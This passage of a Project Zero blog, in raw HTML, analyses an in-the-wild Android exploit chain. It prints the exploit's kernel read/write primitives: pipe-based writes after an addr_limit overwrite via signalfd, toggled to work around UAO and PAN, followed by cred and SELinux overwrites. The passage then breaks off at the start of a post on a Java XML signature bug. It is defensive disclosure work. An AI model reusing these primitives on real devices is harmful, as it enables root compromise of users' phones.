class="vdnyYxSRCi-c2">addr_limit</span><span class="vdnyYxSRCi-c2 vdnyYxSRCi-c33 vdnyYxSRCi-c44">.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The exploit calls </span><span class="vdnyYxSRCi-c2">signalfd</span><span> with a mask argument</span><span> of </span><span class="vdnyYxSRCi-c2">0xFFFFFF8000000000</span><span>. So the value </span><span class="vdnyYxSRCi-c2">~(0xFFFFFF8000000000 & 0xFFFFFFFFFFFCFEFF) = 0x7FFFFFFFFF</span><span>, also known as</span><span> </span><span class="vdnyYxSRCi-c2">USER_DS</span><span>. We’ll talk about why they’re overwriting the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> as </span><span class="vdnyYxSRCi-c2">USER_DS</span><span> rather than </span><span class="vdnyYxSRCi-c2">KERNEL_DS</span><span class="vdnyYxSRCi-c7"> in the next section. </span></p><h2 class="vdnyYxSRCi-c17" id="h.k1hy6h4fm2ex"><span class="vdnyYxSRCi-c16">Working Around UAO and PAN</span></h2>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>“User-Access Override” (UAO) and “Privileged Access Never” (PAN) are two exploit mitigations that are commonly found on modern Android devices. Their kernel configs are </span><span class="vdnyYxSRCi-c2">CONFIG_ARM64_UAO</span><span> and </span><span class="vdnyYxSRCi-c2">CONFIG_ARM64_PAN</span><span class="vdnyYxSRCi-c7">. Both PAN and UAO are hardware mitigations released on ARMv8 CPUs. PAN protects against the kernel directly accessing user-space memory. UAO works with PAN by allowing unprivileged load and store instructions to act as privileged load and store instructions when the UAO bit is set.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>It’s often said that the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> overwrite technique detailed above doesn’t work on devices with UAO and PAN turned on. The commonly used </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> overwrite technique was to change the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> to a very high address, like 0xFFFFFFFFFFFFFFFF (</span><span class="vdnyYxSRCi-c2">KERNEL_DS</span><span>), and then use a pair of pipes for arbitrary kernel read and write. This is what Jann and I did in our </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885#176">proof-of-concept for CVE-2019-2215</a></span><span> back in 2019. Our </span><span class="vdnyYxSRCi-c2">kernel_write</span><span class="vdnyYxSRCi-c7"> function is shown below.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.b8a4e52cd732ff2532144e609e086484605b13e2"></a><a id="t.29"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5">void</span><span class="vdnyYxSRCi-c4"> kernel_write</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c5">unsigned</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">long</span><span class="vdnyYxSRCi-c4"> kaddr</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">void</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">buf</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">unsigned</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">long</span><span class="vdnyYxSRCi-c4"> len</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> errno </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">len </span><span class="vdnyYxSRCi-c0">></span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0x1000</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> errx</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c13">1</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c18">"kernel writes over PAGE_SIZE are messy, tried 0x%lx"</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> len</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">write</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kernel_rw_pipe</span><span class="vdnyYxSRCi-c0">[</span><span class="vdnyYxSRCi-c13">1</span><span class="vdnyYxSRCi-c0">],</span><span class="vdnyYxSRCi-c4"> buf</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> len</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">!=</span><span class="vdnyYxSRCi-c4"> len</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> err</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c13">1</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c18">"kernel_write failed to load userspace buffer"</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">read</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kernel_rw_pipe</span><span class="vdnyYxSRCi-c0">[</span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">],</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c5">void</span><span class="vdnyYxSRCi-c0">*)</span><span class="vdnyYxSRCi-c4">kaddr</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> len</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">!=</span><span class="vdnyYxSRCi-c4"> len</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> err</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c13">1</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c18">"kernel_write failed to overwrite kernel memory"</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">}</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c7">This technique works by first writing the pointer to the buffer of the contents that you’d like written to one end of the pipe. By then calling a read and passing in the kernel address you’d like to write to, those contents are then written to that kernel memory address.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1"><span>With UAO and PAN enabled, if the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> is set to </span><span class="vdnyYxSRCi-c2">KERNEL_DS</span><span> and we attempt to execute this function, the first </span><span class="vdnyYxSRCi-c2">write</span><span> call will fail because </span><span class="vdnyYxSRCi-c2">buf</span><span class="vdnyYxSRCi-c7"> is in user-space memory and PAN prevents the kernel from accessing user space memory.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1"><span>Let’s say we didn’t set the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> to </span><span class="vdnyYxSRCi-c2">KERNEL_DS</span><span> (-1) and instead set it to -2, a high kernel address that’s not </span><span class="vdnyYxSRCi-c2">KERNEL_DS</span><span class="vdnyYxSRCi-c7">. PAN wouldn’t be enabled, but neither would UAO. Without UAO enabled, the unprivileged load and store instructions are not able to access the kernel memory.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1"><span>The way the exploit works around the constraints of UAO and PAN is pretty straightforward: the exploit switches the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> between </span><span class="vdnyYxSRCi-c2">USER_DS</span><span> and </span><span class="vdnyYxSRCi-c2">KERNEL_DS</span><span> based on whether it needs to access user space or kernel space memory. As shown in the </span><span class="vdnyYxSRCi-c2">uao_thread_switch</span><span> function below, UAO is enabled when </span><span class="vdnyYxSRCi-c2">addr_limit == KERNEL_DS</span><span class="vdnyYxSRCi-c7"> and is disabled when it does not.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.48779bb108abd35cde6afd98c7e3e69e08c1473f"></a><a id="t.30"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20">/* Restore the UAO state depending on next's addr_limit */</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5">void</span><span class="vdnyYxSRCi-c4"> uao_thread_switch</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> task_struct </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c5">next</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">IS_ENABLED</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">CONFIG_ARM64_UAO</span><span class="vdnyYxSRCi-c0">))</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">task_thread_info</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c5">next</span><span class="vdnyYxSRCi-c0">)-></span><span class="vdnyYxSRCi-c4">addr_limit </span><span class="vdnyYxSRCi-c0">==</span><span class="vdnyYxSRCi-c4"> KERNEL_DS</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">asm</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">ALTERNATIVE</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"nop"</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> SET_PSTATE_UAO</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c13">1</span><span class="vdnyYxSRCi-c0">),</span><span class="vdnyYxSRCi-c4"> ARM64_HAS_UAO</span><span class="vdnyYxSRCi-c0">));</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">else</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">asm</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">ALTERNATIVE</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"nop"</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> SET_PSTATE_UAO</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">),</span><span class="vdnyYxSRCi-c4"> ARM64_HAS_UAO</span><span class="vdnyYxSRCi-c0">));</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">}</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1"><span>The exploit was able to use this technique of toggling the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> between </span><span class="vdnyYxSRCi-c2">USER_DS</span><span> and </span><span class="vdnyYxSRCi-c2">KERNEL_DS</span><span> because they had such a good primitive from the use-after-free and could reliably and repeatedly write a new value to the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> by calling </span><span class="vdnyYxSRCi-c2">signalfd</span><span class="vdnyYxSRCi-c7">. The exploit’s function to write to kernel addresses is shown below:</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.5c077e3ae1ab4068a405f87ee040f15caac71721"></a><a id="t.31"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">kernel_write</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c5">void</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">kaddr</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">const</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">void</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">buf</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">unsigned</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">long</span><span class="vdnyYxSRCi-c4"> buf_len</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">unsigned</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">long</span><span class="vdnyYxSRCi-c4"> USER_DS </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0x7FFFFFFFFF</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> write</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kernel_rw_pipe2</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> buf</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> buf_len</span><span class="vdnyYxSRCi-c0">);</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c20">// [1]</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> write</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kernel_rw_pipe2</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">&</span><span class="vdnyYxSRCi-c4">USER_DS</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">8u</span><span class="vdnyYxSRCi-c0">);</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c20">// [2]</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> set_addr_limit_to_KERNEL_DS</span><span class="vdnyYxSRCi-c0">();</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c20">// [3] </span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> read</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kernel_rw_pipe</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> kaddr</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> buf_len</span><span class="vdnyYxSRCi-c0">);</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c20">// [4]</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> read</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kernel_rw_pipe</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> addr_limit_ptr</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">8u</span><span class="vdnyYxSRCi-c0">);</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c20">// [5]</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c33">}</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1"><span>The function takes three arguments: the kernel address to write to (</span><span class="vdnyYxSRCi-c2">kaddr</span><span>), a pointer to the buffer of contents to write (</span><span class="vdnyYxSRCi-c2">buf</span><span>), and the length of the buffer (</span><span class="vdnyYxSRCi-c2">buf_len</span><span>). </span><span class="vdnyYxSRCi-c2">buf</span><span> is in userspace. When the </span><span class="vdnyYxSRCi-c2">kernel_write</span><span> function is entered, the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> is currently set to </span><span class="vdnyYxSRCi-c2">USER_DS</span><span>. At [1] the exploit writes the buffer pointer to the pipe. A pointer to the </span><span class="vdnyYxSRCi-c2">USER_DS</span><span class="vdnyYxSRCi-c7"> value is written to the pipe at [2].</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1"><span>The </span><span class="vdnyYxSRCi-c2">set_addr_limit_to_KERNEL_DS</span><span> function at [3] sends a signal to tell another process in the exploit to call </span><span class="vdnyYxSRCi-c2">signalfd</span><span> with a mask of 0. Because </span><span class="vdnyYxSRCi-c2">signalfd</span><span> performs a NOT on the bits provided in the mask in </span><span class="vdnyYxSRCi-c2">signotset</span><span>, the value </span><span class="vdnyYxSRCi-c2">0xFFFFFFFFFFFFFFFF</span><span> (</span><span class="vdnyYxSRCi-c2">KERNEL_DS</span><span>) is written to the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span class="vdnyYxSRCi-c7">. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1"><span>Now that the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> is set to </span><span class="vdnyYxSRCi-c2">KERNEL_DS</span><span> the exploit can access kernel memory. At [4], the exploit reads from the pipe, writing the contents to </span><span class="vdnyYxSRCi-c2">kaddr</span><span>. Then at [5] the exploit returns </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> back to </span><span class="vdnyYxSRCi-c2">USER_DS</span><span> by reading the value from the pipe that was written at [2] and writing it back to the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span class="vdnyYxSRCi-c7">. The exploit’s function to read from kernel memory is the mirror image of this function.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1"><span>I deliberately am not calling this a bypass because UAO and PAN are acting exactly as they were designed to act: preventing the kernel from accessing user-space memory. UAO and PAN were not developed to protect against arbitrary write access to the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span>. </span></p><h2 class="vdnyYxSRCi-c17" id="h.2exfdp6lv8zm"><span class="vdnyYxSRCi-c16">Post-exploitation</span></h2>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>T</span><span>he exploit now has arbitrary </span><span>kernel read and write</span><span>. It then follows the steps as seen in most other Android exploits: overwrite the </span><span class="vdnyYxSRCi-c2">cred</span><span> struct for the current process and overwrite the loaded SELinux policy to change the current process’s context to </span><span class="vdnyYxSRCi-c2">vold</span><span>.</span><span> </span><span class="vdnyYxSRCi-c2">vold</span><span> is the “Volume Daemon” which is responsible for mounting and unmounting of external storage. </span><span class="vdnyYxSRCi-c2">vold</span><span> runs as </span><span class="vdnyYxSRCi-c2">root</span><span> and while it's a userspace service, it’s considered kernel-equivalent as described in the </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://source.android.com/docs/security/overview/updates-resources#process_types">Android documentation on security contexts</a></span><span>. Because it’s a highly privileged security context, it makes a prime target for changing the SELinux context to.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNmMRLkK2FzuHtZxYxOkwpwKjbotI2a0OrAKlIWHd24SXekvuwcem4iCOzsu3ssOq2eqwDeWZi9uaLjfh1oh8a1_foBtkvDt4qM-vqbT3wEp-dmVnv4DZHos2mtCe2nFBGe1ZmxDLOXdOuSyBu0_qRdxQvc0nfDltRu3IftdQ2rVH47dTN_qWAExff/s920/image5.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNmMRLkK2FzuHtZxYxOkwpwKjbotI2a0OrAKlIWHd24SXekvuwcem4iCOzsu3ssOq2eqwDeWZi9uaLjfh1oh8a1_foBtkvDt4qM-vqbT3wEp-dmVnv4DZHos2mtCe2nFBGe1ZmxDLOXdOuSyBu0_qRdxQvc0nfDltRu3IftdQ2rVH47dTN_qWAExff/s920/image5.png" border="0" alt="Screen shot of the &quot;OS Kernel&quot; section from https://source.android.com/docs/security/overview/updates-resources#process_types. It says: Functionality that: - is part of the kernel - runs in the same CPU context as the kernel (for example, device drivers) - has direct access to kernel memory (for example, hardware components on the device) - has the capability to load scripts into a kernel component (for example, eBPF) - is one of a handful of user services that's considered kernel equivalent (such as, apexd, bpfloader, init, ueventd, and vold)." style="max-height: 750px; max-width: 600px;"title="Screen shot of the &quot;OS Kernel&quot; section from https://source.android.com/docs/security/overview/updates-resources#process_types. It says: Functionality that: - is part of the kernel - runs in the same CPU context as the kernel (for example, device drivers) - has direct access to kernel memory (for example, hardware components on the device) - has the capability to load scripts into a kernel component (for example, eBPF) - is one of a handful of user services that's considered kernel equivalent (such as, apexd, bpfloader, init, ueventd, and vold)." /></a></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>As stated at the beginning of this post, the sample obtained was discovered in the preparatory stages of the attack. Unfortunately, it did not include the final payload that would have been deployed with this exploit.</span></p><h1 class="vdnyYxSRCi-c8 vdnyYxSRCi-c28" id="h.5zhj1ffk4us0"><span class="vdnyYxSRCi-c31">Conclusion</span></h1>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>This in-the-wild exploit chain is a great example of different attack surfaces and “shape” than many of the Android exploits we’ve seen in the past. All three vulnerabilities in this chain were in the manufacturer’s custom components rather than in the AOSP platform or the Linux kernel. It’s also interesting to note that 2 out of the 3 vulnerabilities were logic and design vulnerabilities rather than memory safety. Of the </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=1190662839">10 other Android in-the-wild 0-days</a></span><span class="vdnyYxSRCi-c7"> that we’ve tracked since mid-2014, only 2 of those were not memory corruption vulnerabilities.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The first vulnerability in this chain, the arbitrary file read and write, CVE-2021-25337, was the foundation of this chain, used </span><span>4</span><span> different times and used at least once in each step. The vulnerability was in the Java code of a custom content provider in the </span><span class="vdnyYxSRCi-c2">system_server</span><span class="vdnyYxSRCi-c7">. The Java components in Android devices don’t tend to be the most popular targets for security researchers despite it running at such a privileged level. This highlights an area for further research.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7">Labeling when vulnerabilities are known to be exploited in-the-wild is important both for targeted users and for the security industry. When in-the-wild 0-days are not transparently disclosed, we are not able to use that information to further protect users, using patch analysis and variant analysis, to gain an understanding of what attackers already know. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7">The analysis of this exploit chain has provided us with new and important insights into how attackers are targeting Android devices. It highlights a need for more research into manufacturer specific components. It shows where we ought to do further variant analysis. It is a good example of how Android exploits can take many different “shapes” and so brainstorming different detection ideas is a worthwhile exercise. But in this case, we’re at least 18 months behind the attackers: they already know which bugs they’re exploiting and so when this information is not shared transparently, it leaves defenders at a further disadvantage. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>This transparent disclosure of in-the-wild status is necessary for both the safety and autonomy of targeted users to protect themselves </span><span>as well as</span><span> the security industry to work together to best prevent these 0-days in the future.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-81240349668841708702022-11-02T04:41:00.009-07:002022-11-04T07:39:42.482-07:00Gregor Samsa: Exploiting Java's XML Signature Verification<p><span style="font-family: Arial; font-size: 11pt; white-space: pre-wrap;">By Felix Wilhelm, Project Zero</span></p><span id="docs-internal-guid-0bf8d8bf-7fff-3b3e-e15a-d0b22634204a"><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Earlier this year, I discovered a surprising attack surface hidden deep inside Java’s standard library: A custom JIT compiler processing untrusted XSLT programs, exposed to remote attackers during XML signature verification. This post discusses </span><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2290&q=reporter%3Ame&can=1" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">CVE-2022-34169</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, an integer truncation bug in this JIT compiler resulting in arbitrary code execution in many Java-based web applications and identity providers that support the SAML single-sign-on standard. </span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">OpenJDK fixed the discussed issue in </span><a href="https://openjdk.org/groups/vulnerability/advisories/2022-07-19" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">July 